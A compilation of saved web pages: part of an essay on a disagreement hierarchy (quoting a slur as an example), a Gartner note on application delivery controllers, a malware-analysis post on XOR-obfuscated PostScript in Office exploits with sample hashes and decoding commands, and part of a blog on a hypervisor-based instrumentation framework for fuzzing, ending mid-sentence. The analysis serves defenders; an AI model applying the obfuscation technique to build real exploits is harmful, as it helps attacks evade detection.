between mere name-calling and a carefully reasoned refutation, but I think it
would help to put names on the intermediate stages. So here's an attempt at a
disagreement hierarchy:  
  
**DH0. Name-calling.**  
  
This is the lowest form of disagreement, and probably also the most common.
We've all seen comments like this:

> u r a fag\!\!\!\!\!\!\!\!\!\!
But it's important to realize that more articulate name-calling has just as
little weight. A comment like

> The author is a self-important dilettante.
is really nothing more than a pretentious version of "u r a fag."  
  
**DH1. Ad Hominem.**  
  
An ad hominem attack is not quite as weak as mere name-calling. It might
actually carry some weight. For example, if a senator wrote an article saying
senators' salaries should be increased, one could respond:

> Of course he would say that. He's a senator.
This wouldn't refute the author's argument, but it may at least be relevant to
the case. It's still a very weak form of disagreement, though. If there's
something wrong with the senator's argument, you should say what it is; and if
there isn't, what difference does it make that he's a senator?  
  
Saying that an author lacks the authority to write about a topic is a variant
of ad hominem—and a particularly useless sort, because good ideas often come
from outsiders. The question is whether the author is correct or not. If his
lack of authority caused him to make mistakes, point those out. And if it
didn't, it's not a problem.  
  
**DH2. Responding to Tone.**  
  
The next level up we start to see responses to the writing, rather than the
writer. The lowest form of these is to disagree with the author's tone. E.g.

> I can't believe the author dismisses intelligent design in such a cavalier
> fashion.
Though better than attacking the author, this is still a weak form of
disagreement. It matters much more whether the author is wrong or right than
what his tone is. Especially since tone is so hard to judge. Someone who has a
chip on their shoulder about some topic might be offended by a tone that to
other readers seemed neutral.  
  
So if the worst thing you can say about something is to criticize its tone,
you're not saying much. Is the author flippant, but correct? Better that than
grave and wrong. And if the author is incorrect somewhere, say where.  
  
**DH3. Contradiction.**  
  
In this stage we finally get responses to what was said, rather than how or by
whom. The lowest form of response to an argument is simply to state the
opposing case, with little or no supporting evidence.  
  
This is often combined with DH2 statements, as in:

> I can't believe the author dismisses intelligent design in such a cavalier
> fashion. Intelligent design is a legitimate scientific theory.
Contradiction can sometimes have some weight. Sometimes merely seeing the
opposing case stated explicitly is enough to see that it's right. But usually
evidence will help.  
  
**DH4. Counterargument.**  
  
At level 4 we reach the first form of convincing disagreement:
counterargument. Forms up to this point can usually be ignored as proving
nothing. Counterargument might prove something. The problem is, it's hard to
say exactly what.  
  
Counterargument is contradiction plus reasoning and/or evidence. When aimed
squarely at the original argument, it can be convincing. But unfortunately
it's common for counterarguments to be aimed at something slightly different.
More often than not, two people arguing passionately about something are
actually arguing about two different things. Sometimes they even agree with
one another, but are so caught up in their squabble they don't realize it.  
  
There could be a legitimate reason for arguing against something slightly
different from what the original author said: when you feel they missed the
heart of the matter. But when you do that, you should say explicitly you're
doing it.  
  
**DH5. Refutation.**  
  
The most convincing form of disagreement is refutation. It's also the rarest,
because it's the most work. Indeed, the disagreement hierarchy forms a kind of
pyramid, in the sense that the higher you go the fewer instances you find.  
  
To refute someone you probably have to quote them. You have to find a "smoking
gun," a passage in whatever you disagree with that you feel is mistaken, and
then explain why it's mistaken. If you can't find an actual quote to disagree
with, you may be arguing with a straw man.  
  
While refutation generally entails quoting, quoting doesn't necessarily imply
refutation. Some writers quote parts of things they disagree with to give the
appearance of legitimate refutation, then follow with a response as low as DH3
or even DH0.  
  
**DH6. Refuting the Central Point.**  
  
The force of a refutation depends on what you refute. The most powerful form
of disagreement is to refute someone's central point.  
  
Even as high as DH5 we still sometimes see deliberate dishonesty, as when
someone picks out minor points of an argument and refutes those. Sometimes the
spirit in which this is done makes it more of a sophisticated form of ad
hominem than actual refutation. For example, correcting someone's grammar, or
harping on minor mistakes in names or numbers. Unless the opposing argument
actually depends on such things, the only purpose of correcting them is to
discredit one's opponent.  
  
Truly refuting something requires one to refute its central point, or at least
one of them. And that means one has to commit explicitly to what the central
point is. So a truly effective refutation would look like:

> The author's main point seems to be x. As he says:
>> <quotation>

> But this is wrong for the following reasons...
The quotation you point out as mistaken need not be the actual statement of
the author's main point. It's enough to refute something it depends upon.  
  
**What It Means**  
  
Now we have a way of classifying forms of disagreement. What good is it? One
thing the disagreement hierarchy _doesn't_ give us is a way of picking a
winner. DH levels merely describe the form of a statement, not whether it's
correct. A DH6 response could still be completely mistaken.  
  
But while DH levels don't set a lower bound on the convincingness of a reply,
they do set an upper bound. A DH6 response might be unconvincing, but a DH2 or
lower response is always unconvincing.  
  
The most obvious advantage of classifying the forms of disagreement is that it
will help people to evaluate what they read. In particular, it will help them
to see through intellectually dishonest arguments. An eloquent speaker or
writer can give the impression of vanquishing an opponent merely by using
forceful words. In fact that is probably the defining quality of a demagogue.
By giving names to the different forms of disagreement, we give critical
readers a pin for popping such balloons.  
  
Such labels may help writers too. Most intellectual dishonesty is
unintentional. Someone arguing against the tone of something he disagrees with
may believe he's really saying something. Zooming out and seeing his current
position on the disagreement hierarchy may inspire him to try moving up to
counterargument or refutation.  
  
But the greatest benefit of disagreeing well is not just that it will make
conversations better, but that it will make the people who have them happier.
If you study conversations, you find there is a lot more meanness down in DH1
than up in DH6. You don't have to be mean when you have a real point to make.
In fact, you don't want to. If you have something real to say, being mean just
gets in the way.  
  
If moving up the disagreement hierarchy makes people less mean, that will make
most of them happier. Most people don't really enjoy being mean; they do it
because they can't help it.  
  
  
  
  
  
**Thanks** to Trevor Blackwell and Jessica Livingston for reading drafts of
this.  
  
  
  
**Related:**  
  
  
---  
  

# defunkt/jquery-pjax - GitHub

**Created:**| _4/14/2011 3:21:30 PM_  
---|---  
**Updated:**| _4/14/2011 3:21:30 PM_  
**Author:**| __  
**Tags:**| _web programming JavaScript_  
  

pushState + ajax = pjax

http://pjax.heroku.com

# Load Balancers Are Dead: Time to Focus on Application Delivery

**Created:**| _7/30/2009 2:37:46 PM_  
---|---  
**Updated:**| _9/18/2009 10:19:53 AM_  
**Author:**| __  
**Tags:**| _web-app-sec papers_  
  
|  
Load Balancers Are Dead: Time to Focus on  
Application Delivery  
2 February 2009Mark Fabbi Gartner RAS Core Research Note G00164098  
When looking at feature requirements in front of and between server tiers, too many organizations think only about load balancing. However, the era of load balancing is long past, and organizations will be better served to focus their attention on improving the delivery of applications.  |   
|  
---|---|---  
<img src='img/Temp2_4968.gif' width='1' height='1' />  
  
---  
<img src='img/Temp2_4968.gif' height='10' />  
  
| <img src='img/Temp2_4968.gif' width='10' height='24' />  
| Overview <img src='img/Temp2_4968.gif' width='507' height='1' />  
  
---|---  
<img src='img/Temp2_4968.gif' height='15' />  
  
| This research shifts the attention from basic load-balancing features to
application delivery features to aid in the deployment and delivery of
applications. Networking organizations are missing significant opportunities
to increase application performance and user experience by ignoring this
fundamental market shift. Key Findings

  * Enterprises are still focused on load balancing.
  * There is little cooperation between networking and application teams on a holistic approach for application deployment.
  * Properly deployed application delivery controllers can improve application performance and security, increase the efficiency of data center infrastructure, and assist the deployment of the virtualized data center.

Recommendations

  * Network architects must shift attention and resources away from Layer 3 packet delivery networks and basic load balancing to application delivery networks.
  * Enterprises must start building specialized expertise around application delivery.

|  
  
---|---|---  
<img src='img/Temp2_4968.gif' height='15' />  
<img src='img/Temp2_4968.gif' width='10' height='24' />  
| What You Need to Know <img src='img/Temp2_4968.gif' width='507' height='1'
/>  
  
---|---  
<img src='img/Temp2_4968.gif' height='15' />  
  
| IT organizations that shift to application delivery will improve internal application performance that will noticeably improve business processes and productivity for key applications. For external-facing applications, end-user experience and satisfaction will improve, positively affecting the ease of doing business with supply chain partners and customers. Despite application delivery technologies being well proved, they have not yet reached a level of deployment that reflects their value to the enterprise, and too many clients do not have the right business and technology requirements on their radar. | | | <img src='img/Temp2_4969.gif' width='13' height='8' />  
| Return to Top  
---|---  
<img src='img/Temp2_4968.gif' width='1' height='22' />  
  
  
<img src='img/Temp2_4968.gif' height='15' />  
<img src='img/Temp2_4968.gif' width='10' height='24' />  
| Analysis <img src='img/Temp2_4968.gif' width='507' height='1' />  
  
---|---  
<img src='img/Temp2_4968.gif' height='15' />  
  
|  
What's the Issue? Many organizations are missing out on big opportunities to improve the performance of internal processes and external service interactions by not understanding application delivery technologies. This is very obvious when considering the types of client inquiries we receive on a regular basis. In the majority of cases, clients phrase their questions to ask specifically about load balancing. In some cases, they are replacing aged server load balancers \(SLBs\), purchased before the advent of the advanced features now available in leading application delivery controllers \(ADCs\). In other cases, we get calls about application performance challenges, and, after exploring the current infrastructure, we find that these clients have modern, advanced ADCs already installed, but they haven't turned on any of the advanced features and are using new equipment, such as circa 1998 SLBs. In both cases, there is a striking lack of understanding of what ADCs can and should bring to the enterprise infrastructure. Organizations that still think of this critically important position in the data center as one that only requires load balancing are missing out on years of valuable innovation and are not taking advantage of the growing list of services that are available to increase application performance and security and to play an active role in the increasing vitalization and automation of server resources. Modern ADCs are the only devices in the data center capable of providing a real-time, pan-application view of application data flows and resource requirements. This insight will continue to drive innovation of new capabilities for distributed and vitalized applications. | | | <img src='img/Temp2_4969.gif' width='13' height='8' />  
| Return to Top  
---|---  
<img src='img/Temp2_4968.gif' width='1' height='22' />  

  
Why Did This Happen?

The "blame" for this misunderstanding can be distributed in many ways, though
it is largely history that is at fault. SLBs were created to better solve the
networking problem of how to distribute requests across a group of servers
responsible for delivering a specific Web application. Initially, this was
done with simple round-robin DNS, but because of the limitations of this
approach, function-specific load-balancing appliances appeared on the market
to examine inbound application requests and to map these requests dynamically
to available servers.

Because this was a networking function, the responsibility landed solely in
network operations and, while there were always smaller innovative players,
the bulk of the early market ended up in the hands of networking vendors
\(largely Cisco, Nortel and Foundry \[now part of Brocade\]\). So, a decade
ago, the situation basically consisted of networking vendors selling network
solutions to network staff. However, innovation continued, and the ADC market
became one of the most innovative areas of enterprise networking over the past
decade.

Initially, this innovation focused on the inbound problem — such as the
dynamic recognition of server load or failure and session persistence to
ensure that online "shopping carts" weren't lost. Soon, the market started to
evolve to look at other problems, such as application and server efficiency.
The best example would be the adoption of SSL termination and offload.

Finally, the attention turned to outbound traffic, and a series of techniques
and features started appearing in the market to improve the performance of the
applications being delivered across the network. Innovations migrated from a
pure networking focus to infrastructure efficiencies to application
performance optimization and security — from a networking product to one that
touched networking, server, applications and security staff. The networking
vendors that were big players when SLB was the focus, quickly became laggards
in this newly emerging ADC market.

| | <img src='img/Temp2_4969.gif' width='13' height='8' />  
| Return to Top  
---|---  
<img src='img/Temp2_4968.gif' width='1' height='22' />  

  
Current Obstacles

As the market shifts toward modern ADCs, some of the blame must rest on the
shoulders of the new leaders \(vendors such as F5 and Citrix NetScaler\).
While their products have many advanced capabilities, these vendors often
undersell their products and don't do enough to clearly demonstrate their
leadership and vision to sway more of the market to adopting the new features.

The other challenge for vendors \(and users\) is that modern ADCs impact many
parts of the IT organization. Finally, some blame rests with the IT
organization. By maintaining siloed operational functions, it has been
difficult to recognize and define requirements that fall between functional
areas.

| | <img src='img/Temp2_4969.gif' width='13' height='8' />  
| Return to Top  
---|---  
<img src='img/Temp2_4968.gif' width='1' height='22' />  

  
Why We Need More and Why Should Enterprises Care?

Not all new technologies deserve consideration for mainstream deployment.
However, in this case, advanced ADCs provide capabilities to help mitigate the
challenges of deploying and delivering the complex application environments of
today. The past decade saw a mass migration to browser-based enterprise
applications targeting business processes and user productivity as well as
increasing adoption of service-oriented architectures \(SOAs\), Web 2.0 and
now cloud computing models.

These approaches tend to place increased demand on the infrastructure, because
of "chatty" and complex protocols. Without providing features to mitigate
latency, to reduce round trips and bandwidth, and to strengthen security,
these approaches almost always lead to disappointing performance for
enterprise and external users. The modern ADC provides a range of features
\(see Note 1\) to deal with these complex environments. Beyond application
performance and security, application delivery controllers can reduce the
number of required servers, provide real-time control mechanisms to assist in
data center virtualization, and reduce data center power and cooling
requirements.

ADCs also provide simplified deployment and extensibility and are now being
deployed between the Web server tier and the application or services tier
\(for SOA\) servers. Most ADCs incorporate rule-based extensibility that
enables customization of the behavior of the ADC. For example, a rule might
enable the ADC to examine the response portion of an e-commerce transaction to
strip off all but the last four digits of credit card numbers. Organizations
can use these capabilities as a simple, quick alternative to modifying Web
applications.

Most ADCs incorporate a programmatic interface \(open APIs\) that allows them
to be controlled by external systems, including application servers, data
center management, and provisioning applications and network/system management
applications. This capability may be used for regular periodic
reconfigurations \(end-of-month closing\) or may even be driven by external
events \(taking an instance of an application offline for maintenance\). In
some cases, the application programming interfaces link the ADC to server
virtualization systems and data center provisioning frameworks in order to
deliver the promise of real-time infrastructure.

| | <img src='img/Temp2_4969.gif' width='13' height='8' />  
| Return to Top  
---|---  
<img src='img/Temp2_4968.gif' width='1' height='22' />  

  
What Vendors Provide ADC Solutions Today?

During the past five years, the innovations have largely segmented the market
into vendors that understand complex application environments and the
subtleties in implementations \(examples would be F5, Citrix NetScaler and
Radware\) and those with more of a focus on static feature sets and
networking. "Magic Quadrant for Application Delivery Controllers" provides a
more complete analysis and view of the vendors in the market.

Vendors that have more-attractive offerings will have most or all of these
attributes:

  * A strong set of advanced platform capabilities
  * Customizable, extensible platforms and solutions
  * A vision focused on application delivery networking
  * Affinity to applications:
    * Needs to be application-fluent \(that is, they need to "speak the language"\)
    * Support organizations need to "talk applications"

| | <img src='img/Temp2_4969.gif' width='13' height='8' />  
| Return to Top  
---|---  
<img src='img/Temp2_4968.gif' width='1' height='22' />  

  
What Should Enterprises Do About This?

Enterprises must start to move beyond refreshing their load-balancing
footprint. The features of advanced ADCs are so compelling for those that make
an effort to shift their thinking and organizational boundaries that
continuing efforts on SLBs is wasting time and resources. In most cases, the
incremental investment in advanced ADC platforms is easily compensated by
reduced requirements for servers and bandwidth and the clear improvements in
end-user experience and productivity.

In addition, enterprises should:

  * Use the approach documented in "Five Dimensions of Network Design to Improve Performance and Save Money" to understand user demographics and productivity tools and applications. Also, part of this requirements phase should entail gaining an understanding of any shifts in application architectures and strategies. This approach provides the networking team with much greater insight into broader IT requirements.
  * Understand what they already have in their installed base. We find, in at least 25% of our interactions, enterprises have already purchased and installed an advanced ADC platform, but are not using it to its potential. In some cases, they already have the software installed, so two to three days of training and some internal discussions can lead to massive improvements.
  * Start building application delivery expertise \(see "Toolkits: Your Next Key Hires Should Be Application Delivery Architects and Engineers"\). This skill set will be one that bridges the gaps between networking, applications, security and possibly the server. Organizations can use this function to help extend the career path and interest for high-performance individuals from groups like application performance monitoring or networking operations. Networking staff aspiring to this role must have strong application and personal communication skills to achieve the correct balance. Some organizations will find they have the genesis of these skills scattered across multiple groups. Building a cohesive home will provide immediate benefits, because the organization's barriers will be quickly eliminated.
  * Start thinking about ADCs as strategic platforms, and move beyond tactical deployments of SLBs. Once organizations think about application delivery as a basic infrastructure asset, the use of these tools and services \(and associated benefits\) will be more readily achieved.

| | <img src='img/Temp2_4969.gif' width='13' height='8' />  
| Return to Top  
---|---  
 _© 2009 Gartner, Inc. and/or its Affiliates. All Rights Reserved.
Reproduction and distribution of this publication in any form without prior
written permission is forbidden. The information contained herein has been
obtained from sources believed to be reliable. Gartner disclaims all
warranties as to the accuracy, completeness or adequacy of such information.
Although Gartner's research may discuss legal issues related to the
information technology business, Gartner does not provide legal advice or
services and its research should not be construed or used as such. Gartner
shall have no liability for errors, omissions or inadequacies in the
information contained herein or for interpretations thereof. The opinions
expressed herein are subject to change without notice._

# EPS obfuscation for MS Office exploits

**Created:**| _5/12/2017 1:04:57 PM_  
---|---  
**Updated:**| _5/12/2017 1:04:57 PM_  
**Author:**| __  
**Tags:**| _Exploit Malware-analysis_  
  

  

# EPS obfuscation for MS Office exploits

We took a deeper look into a recent FireEye blog post on 2 new EPS exploits
used while zero-day by the APT 28 / Turla group. Both exploits have been
patched. One of the samples used an interesting EPS based obfuscation
technique to avoid detection. By using a 4 byte xor within native Postscript
commands the exploit code can be obfuscated and decoded in memory at run time
defeating static analysis.

###  CVE-2017-0262 Sample

<img src='img/Screen+Shot+2017-05-11+at+12.36.48+PM.png' width='576'
height='104' />

QuickSand.io Report

###  The obfuscation

The PostScript code starts with a xor loop using key 0xC45D6491 using only
built-in PostScript functionality

<img src='img/Screen+Shot+2017-05-11+at+12.28.10+PM.png' width='576'
height='392' />

Using our Cryptam multi tool, we'll decode the EPS block manually:

$ **php cryptam\_multi.php eps.test -xor c45d6491**

using XOR key c45d6491

$ **./quicksand.out eps.test.out**

-0> root \{7\}
md5:237e6dcbc6af50ef5f5211818522c463

sha1:228c21dff49376c0946fe2bbe21448bbdbfcf13a

sha256:385655e10c8a7718bb50e969979cf4f08a2380f67827ce01d05874c49b3a5c13

head:7b202f48656c7665

size:347320

yara:exploits:exploit\_cve\_2017\_0262

yara:executable:executable\_win

structhash:nO

qsversion:01.06.004

qstime:2017:05:11 14:08:48

score:20

is\_malware:2

###  Deobfuscated PostScript

<img src='img/Screen+Shot+2017-05-11+at+12.32.43+PM.png' width='576'
height='532' />

We've added a new PostScript XOR obfuscation warning\_EPS\_xor\_exec Yara
signature to our QuickSand\_Lite project our GitHub.

###  Indicators

_CVE-2017-0262 Sample_ \[Report\]

Filename _Confirmation\_letter.docx.bin_

Size _251036 bytes_

MD5 _2abe3cc4bff46455a945d56c27e9fb45_

SHA1 _0bd354d1eea9e4864f4c17e6c22bfdb81d88ddee_

SHA256 _6785e29698444243677300db6a0c519909ae9e620d575e76d9be4862b33ed490_

_CVE-2017-0261 Sample_ \[Report\] \(obfuscated\)

Filename _Trump's\_Attack\_on\_Syria\_English.docx_

Size _268950 bytes_

MD5 _f8e92d8b5488ea76c40601c8f1a08790_

SHA1 _d5235d136cfcadbef431eea7253d80bde414db9d_

SHA256 _91acb0d56771af0196e34ac95194b3d0bf3200bc5f6208caf3a91286958876f9_

  

# DBI framework for fuzzing on the board, part I. | @zer0mem
**Created:**| _9/27/2013 11:02:25 AM_  
---|---  
**Updated:**| _9/27/2013 12:15:22 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification binary instrumentation Fuzzer
fuzzing_  
  

# DBI framework for fuzzing on the board, part I.

Posted by admin on August 4, 2013

I started a bit researching around fuzzers, fuzzing techniques and
practices**.** As i study materials about fuzzing, code \(node / edge\)
coverage approach quickly impressed me**.** But for this method is essential
to have a good dbi**.** Pin or valgrind are good solutions, but will i try to
make it in lightweight way – specificated for further fuzzing needs**.**

Already implemented features :

  * BTF – Hypervisor based
  * PageTable walker
  * VAD walker
  * full Process control \[images, threads, memory\]
  * Syscall monitoring – implemented process virtual memory monitor

**FEATURES  
**

  * _**BTF** – Hypervisor based_

Branch tracing is known method already implemented in some of tracers, but
known \(\*known for me\) methods implemented it just under debugger**.** When
it comes to play with binary code \(tracing, unpacking, monitoring\) – i dont
like simulated enviroment like debugger, because it is too slow… it can be
little crappy to set up BTF in msr, in ring0, wait for exception processing
and for finaly executing your exception handler to handle branch tracing, and
for keeping track to set up BTF in msr == switch to ring0 again**\!** this
seems like a solid perfomance overkill**.**

But in previous post i mentioned possibility how to use intel vtx technology
to gain some advantages for reasonable performance penalty**.** After a bit
playing with documentation and some debuging, i come to easy way how to extend
hypervisor, that was introduced, with handling TRAPS and keep eye on BTF**\!**

In other words when Trap flag is set then each trap exception will cause
VM\_EXIT**.** So tracing on branches will be handled not by system exception
handling but by our monitor**\!** and with perfomance penalty == our
processing BTF and VM\_EXIT cost**\!**

|  //turn on vm\_exit on traps **\!** if \(m\_exceptionhandling\) //activate exception handling ULONG\_PTR int\_state; vmread\(VMX\_VMCS32\_GUEST\_INTERRUPTIBILITY\_STATE, &int\_state\); if\(\(int\_state & 3\)\) int\_state &= ~\(3\); vmwrite\(VMX\_VMCS32\_GUEST\_INTERRUPTIBILITY\_STATE, int\_state\); ULONG\_PTR intercepts; vmread\(VMX\_VMCS\_CTRL\_EXCEPTION\_BITMAP, &intercepts\); unsigned long mask = BTS\(TRAP\_debug\);// | BTS\(TRAP\_page\_fault\); intercepts |= mask; vmwrite\(VMX\_VMCS\_CTRL\_EXCEPTION\_BITMAP, intercepts\);  
---|---  
|  m\_traps\[VMX\_EXIT\_EXCEPTION\] = \(ULONG\_PTR\)TrapHandler; void CDbiMonitor::TrapHandler\( \_\_inout ULONG\_PTR reg\[REG\_COUNT\] size\_t ins\_len; if \(**\!** vmread\(VMX\_VMCS32\_RO\_EXIT\_INSTR\_LENGTH, &ins\_len\)\) ULONG\_PTR ins\_addr; //original 'ret'-addr if \(**\!** vmread\(VMX\_VMCS64\_GUEST\_RIP, &ins\_addr\)\) ins\_addr -= ins\_len; CDbiMonitor::GetInstance\(\).GetPrintfStack\(\).Push\(ins\_addr\); //print some info => i < 4 == old cpu :P ULONG\_PTR src = 0; for \(BYTE i = 0; i < 4; i++\) if \(rdmsr\(MSR\_LASTBRANCH\_0\_TO\_IP + i\) == ins\_addr\) src = rdmsr\(MSR\_LASTBRANCH\_0\_FROM\_IP + i\); CDbiMonitor::GetInstance\(\).Printf\(\).Push\(i\); CDbiMonitor::GetInstance\(\).Printf\(\).Push\(src\); break; //printf marker CDbiMonitor::GetInstance\(\).GetPrintfStack\(\).Push\(0xBADF00D0\); //set-up next BTF hook ULONG\_PTR rflags = 0; if \(**\!** vmread\(VMX\_VMCS\_GUEST\_RFLAGS, &rflags\)\) vmwrite\(VMX\_VMCS\_GUEST\_RFLAGS, \(rflags | TRAP\)\); vmwrite\(VMX\_VMCS64\_GUEST\_RIP, ins\_addr\);  
---|---  
  * _**PageTable** walker_

For effective fuzzing it is necessary to fuzz application from particular
state \(or you can just kill perfomance for re-running application per fuzz
test case\), and with this is related saving context -> memory address space,
thread context \(registers / stack\)**.** It is no such big deal just
enumerate memory address space, save context and you have it .. but it need a
lot of memory resources and it is time consuming as well …

For handling this step, i propose protecting all \(not write-copy, and
exluding stacks\) memory as _non-writeable,_ monitoring acces to write and
saving affected memory \(by custom PAGE\_SIZE granularity – not saving just
affected bytes alone => lookup & copy performance\)**.** But doing it by
additional VirtualProtect dont bring time effective results…

So after some educating how exactly PageTable looks like, and some googling
how to handle it i create PoC of pykd – script :

|  \#.load pykd.pyd; **\!** py mmu import sys from pykd import \* nt =
module\("nt"\) ctx = \{\} def IsInRange\(module, addr\): return \(addr >=
module.begin\(\) and addr <= module.end\(\)\) import ctypes c\_uint64 =
ctypes**.** c\_uint64 class CVAFlags\(ctypes.LittleEndianStructure\): \_pack\_
= 1 \_fields\_ = \[ \("ByteOffset", c\_uint64, 12\), \("PTESelector",
c\_uint64, 9\), \("PTSelector", c\_uint64, 9\), \("PDPSelector", c\_uint64,
9\), \("PML4Selector", c\_uint64, 9\), class CVirtualAddress\(ctypes.Union\):
\_fields\_ = \[\("VA", CVAFlags\), \("Value", c\_uint64\)\] class
CMMPTEFlags\(ctypes.LittleEndianStructure\): \_pack\_ = 1 \_fields\_ = \[
\("Valid", c\_uint64, 1\), \("Write", c\_uint64, 1\), \("Owner", c\_uint64,
1\), \("WriteTrough", c\_uint64, 1\), \("CacheDisabled", c\_uint64, 1\),
\("Accessed", c\_uint64, 1\), \("Dirty", c\_uint64, 1\), \("LargePage",
c\_uint64, 1\), \("Global", c\_uint64, 1\), \("SFCopyOnWrite", c\_uint64, 1\),
\("SFPrototypePTE", c\_uint64, 1\), \("SFWrite", c\_uint64, 1\),
\("PageFrameNumber", c\_uint64, 28\), \("Reserved", c\_uint64, 12\),
\("SFWorkingSetIndex", c\_uint64, 11\), \("NoExecute", c\_uint64, 1\), class
CMMPTE\(ctypes.Union\): \_fields\_ = \[\("HWPTE", CMMPTEFlags\), \("Value",
c\_uint64\)\] X64SIZE = 8 def GetNextTable\(table, selector\):  offset =
\(table.HWPTE.PageFrameNumber << 12\) + selector \* X64SIZE print
\[table.HWPTE.LargePage, hex\(table.Value\),
hex\(table.HWPTE.PageFrameNumber\), hex\(offset\)\] \#print
dbgCommand\("**\!** dq %s"%\(hex\(offset\).replace\("L", ""\)\)\).split\(" "\)
\#split\(""\)\[INDEX\] index should be propebly choosen,look at print above
table.Value = int\(dbgCommand\("**\!** dq %s"%\(hex\(offset\).replace\("L",
""\)\)\).split\(" "\)\[1\].replace\("\`", ""\), 16\) return table addr =
CVirtualAddress\(\) addr.Value = 0x2340000 \#HERE IS ADDRESS WHICH WE WOULD
LIKE TO LOOKUP print dbgCommand\("**\!** pte
%s"%hex\(addr.Value\).replace\("L", ""\)\) print "ByteOffset: ",
hex\(addr**.** VA.ByteOffset\) print "PTESelector: ", hex\(addr**.**
VA.PTESelector\) print "PTSelector: ", hex\(addr**.** VA.PTSelector\) print
"PDPSelector: ", hex\(addr**.** VA.PDPSelector\) print "PML4Selector: ",
hex\(addr**.** VA.PML4Selector\) print "\------" offset = reg\("CR3"\) +
addr**.** VA.PML4Selector \* X64SIZE print dbgCommand\("**\!** dq
%s"%\(hex\(offset\).replace\("L", ""\)\)\).split\(" "\) \#split\(""\)\[INDEX\]
index should be propebly choosen,look at print above pml4 = CMMPTE\(\)
pml4.Value = int\(dbgCommand\("**\!** dq %s"%\(hex\(offset\).replace\("L",
""\)\)\).split\(" "\)\[1\].replace\("\`", ""\), 16\) print
hex\(pml4.HWPTE.PageFrameNumber\) print hex\(pml4.HWPTE.LargePage\) print
hex\(pml4.HWPTE.Valid\) print "get next table", hex\(offset\) pdp =
GetNextTable\(pml4, addr**.** VA.PDPSelector\) pt = GetNextTable\(pdp,
addr**.** VA.PTSelector\) pte = GetNextTable\(pt, addr**.** VA.PTESelector\)
print \[pte.HWPTE.Write, pte.HWPTE.NoExecute,
hex\(pte.HWPTE.PageFrameNumber\), pte.HWPTE.LargePage\]  
---|---  
And wondering how it is easy, implemented c++ equivalent :

|  class CMMU public: CMMU\( \_\_in const void\* address \) :
m\_va\(\*reinterpret\_cast<const VIRTUAL\_ADDRESS\*>\(&address\)\),
m\_pml4\(readcr3\(\) + m\_va.Selector.PML4Selector \* sizeof\(void\*\),
sizeof\(PAGE\_TABLE\_ENTRY\)\), m\_pdp\(GetNextTable\(PML4\(\),
m\_va.Selector.PDPSelector\), sizeof\(PAGE\_TABLE\_ENTRY\)\),
m\_pt\(GetNextTable\(PDP\(\), m\_va.Selector.PTSelector\),
sizeof\(PAGE\_TABLE\_ENTRY\)\), m\_pte\(GetNextTable\(PT\(\),
m\_va.Selector.PTESelector\), sizeof\(PAGE\_TABLE\_ENTRY\)\) protected:
\_\_forceinline \_\_checkReturn const void\* GetNextTable\( \_\_in const
PAGE\_TABLE\_ENTRY\* table, \_\_in size\_t selector if \(**\!** table\) return
NULL; return reinterpret\_cast<const void\*>\( \(table->PageFrameNumber <<
PAGE\_SHIFT\) + selector \* sizeof\(void\*\)\); protected: CDispatchLvl
m\_irql; VIRTUAL\_ADDRESS m\_va; CMmMap m\_pml4; CMmMap m\_pdp; CMmMap m\_pt;
CMmMap m\_pte;  
---|---  
which save my day against perfomance kill by virtual protect API

Handling memory write attempts from app to protected memory is done via hook
on PageFault, in which is memory temporary updated with original protection
mask**.**

  * _**VAD** walker_

But it have some issues**\!** .. first of all, i will try to disable write by
unset this flag in PTE by address when memory is allocated, buut … in this
moment is PTE\(addr\).Valid == 0 … magic is, that for performance reason m$
will not create PTE per allocation request, but instead of this by first
access \(== pagefault\) to this memory**.**

It can be overcomed to handling it after PTE will be craeted for given memory
range, but more simplier option comes here**.** How m$ code know flags of
memory, and even so, is that memory even allocated and so for sure access
should be granted **?** answer is VAD **\!** Some interesting reading can be
found at ** _Windows Internals, 6th edition_** _\[**Chapter 10** Memory
Management_ _\]_**.**

So lets go update VAD instead of PTE per alloc **.** PTE should in exchange
unlock \(write enable\) memory in PageFault caused by application attempt to
writting to its own memory – but also get callback to us that particular bytes
are likely to change**.**

VAD can be found at EPROCESS structure, and i am not proud of it, but it needs
some system dependent constants \(to avoid rebuild whole project, when it
should be shipped on another version of windows, will be mentioned some TODO
at the end of blog\)**.** And also great source of internal knowledge of m$
code \(excluding ntoskrnl binary itself \) is reactos project**.**

From now it is easy to handle it :

  * VAD is AVL-tree structured
  * ptr to VAD is stored in EPROCESS
  * lock address space is necessary

\* With VAD walker is also easy to enumerate whole process address space \*

|  //---------------------------------------------------------------- //
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* VAD\_ROOT ADDRESS SPACE LOCK
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
//---------------------------------------------------------------- class
CVADScanLock public: CVADScanLock\( \_\_in PEPROCESS process
~CVADScanLock\(\); \_\_checkReturn bool IsLocked\(\); protected: bool
m\_locked; CAutoProcessAttach m\_attach; //CDisableKernelApc
m\_kernelapcDisabled; CAutoLock<CExclusiveLock> m\_addressSpaceLock;
CExclusiveLock m\_workingSetLock;
//----------------------------------------------------- //
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* VAD AVL WALKER
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
//----------------------------------------------------- class CVadWalker :
public CBinTreeWalker<VAD\_SHORT> public: CVadWalker\( \_\_in PEPROCESS
process \_\_forceinline size\_t GetSize\(\) return
m\_avlInfo->NumberGenericTableElements; private: const AVL\_INFO\* m\_avlInfo;
//------------------------------------------------------ //
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* VAD AVL SCANNER
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
//------------------------------------------------------ \_\_checkReturn bool
CVadScanner::ScanAddressSpace\(\) CApcLvl irql; CVADScanLock
vad\_lock\(m\_process\); if \(vad\_lock.IsLocked\(\)\) CVadWalker
vad\(m\_process\); bool found = false; const VAD\_SHORT\* mem\_descryptor =
vad.GetLowerBound\(\); if \(mem\_descryptor\) CVadNodeMemRange
mem\(mem\_descryptor\); DbgPrint\("\n>>> **\!** Memory by VAD : %p %p \[%p\]
%s", mem.Begin\(\), mem.End\(\), mem.GetFlags\(\), \(mem.IsWriteable\(\) **?**
"is writeable**\!** " : "non writeable\!"\) \}
while\(vad.GetNext\(&mem\_descryptor\)\); return true; DbgPrint\("\nerror not
locked**\!****\!**\!"\); return false;  
---|---  
  * _full**Process** control \[images, threads, memory\]_

Under debugger you get events about everything, but if you set up correctly in
